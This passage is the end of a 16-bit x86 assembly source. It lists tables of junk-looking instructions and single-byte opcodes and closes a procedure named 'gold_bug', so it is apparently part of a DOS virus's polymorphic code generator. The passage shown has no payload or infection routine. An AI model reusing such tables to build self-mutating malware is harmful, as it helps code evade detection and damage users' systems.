		xor	al,0b4h

		and	al,0d4h

		les	ax,dword ptr ds:[si]

		les	cx,dword ptr ds:[si]

		les	bp,dword ptr ds:[si]

		adc	al,0d4h

		and	al,084h

		adc	al,084h

		adc	al,024h

		add	al,084h

		add	al,014h

		add	al,024h

		test	dl,ah

		repz	stc

		repnz	stc



;-----------------------------------------------------------------------------



one_byte_table:	int	SINGLE_BYTE_INT

		into

		daa

		das

		aaa

		aas

		inc	ax

		inc	cx

		inc	dx

		inc	bp

		inc	di

		dec	ax

		dec	cx

		dec	dx

		dec	bp

		dec	di

		nop

		xchg	cx,ax

		xchg	dx,ax

		xchg	bp,ax

		xchg	di,ax

		cbw

		cwd

		lahf

		scasb

		scasw

		xlat

		repnz

		repz

		cmc

		clc

		stc

		ENDIF



;-----------------------------------------------------------------------------



gold_bug	endp

cseg		ends

end		com_code